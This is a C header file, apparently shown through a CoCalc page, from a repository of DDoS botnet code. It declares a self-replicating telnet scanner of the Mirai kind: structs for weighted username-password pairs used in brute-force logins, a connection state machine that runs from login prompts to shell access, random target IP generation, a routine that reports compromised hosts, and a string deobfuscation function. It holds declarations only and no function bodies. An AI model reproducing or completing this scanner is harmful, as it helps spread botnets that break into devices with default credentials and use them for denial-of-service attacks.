Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Telnet/telnet.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#ifdef DEBUG
8
#define SCANNER_MAX_CONNS 128
9
#define SCANNER_RAW_PPS 160
10
#else
11
#define SCANNER_MAX_CONNS 128
12
#define SCANNER_RAW_PPS 160
13
#endif
14
15
#define SCANNER_RDBUF_SIZE 256
16
#define SCANNER_HACK_DRAIN 64
17
18
struct scanner_auth {
19
char *username;
20
char *password;
21
uint16_t weight_min, weight_max;
22
uint8_t username_len, password_len;
23
};
24
25
struct scanner_connection {
26
struct scanner_auth *auth;
27
int fd, last_recv;
28
enum {
29
SC_CLOSED,
30
SC_CONNECTING,
31
SC_HANDLE_IACS,
32
SC_WAITING_USERNAME,
33
SC_WAITING_PASSWORD,
34
SC_WAITING_PASSWD_RESP,
35
SC_WAITING_ENABLE_RESP,
36
SC_WAITING_SYSTEM_RESP,
37
SC_WAITING_SHELL_RESP,
38
SC_WAITING_SH_RESP,
39
SC_WAITING_TOKEN_RESP
40
} state;
41
ipv4_t dst_addr;
42
uint16_t dst_port;
43
int rdbuf_pos;
44
char rdbuf[SCANNER_RDBUF_SIZE];
45
uint8_t tries;
46
};
47
48
void scanner_init();
49
void scanner_kill(void);
50
51
static void setup_connection(struct scanner_connection *);
52
static ipv4_t get_random_ip(void);
53
54
static int consume_iacs(struct scanner_connection *);
55
static int consume_any_prompt(struct scanner_connection *);
56
static int consume_user_prompt(struct scanner_connection *);
57
static int consume_pass_prompt(struct scanner_connection *);
58
static int consume_resp_prompt(struct scanner_connection *);
59
60
static void add_auth_entry(char *, char *, uint16_t);
61
static struct scanner_auth *random_auth_entry(void);
62
static void report_working(ipv4_t, uint16_t, struct scanner_auth *);
63
static char *deobf(char *, int *);
64
static BOOL can_consume(struct scanner_connection *, uint8_t *, int);
65
66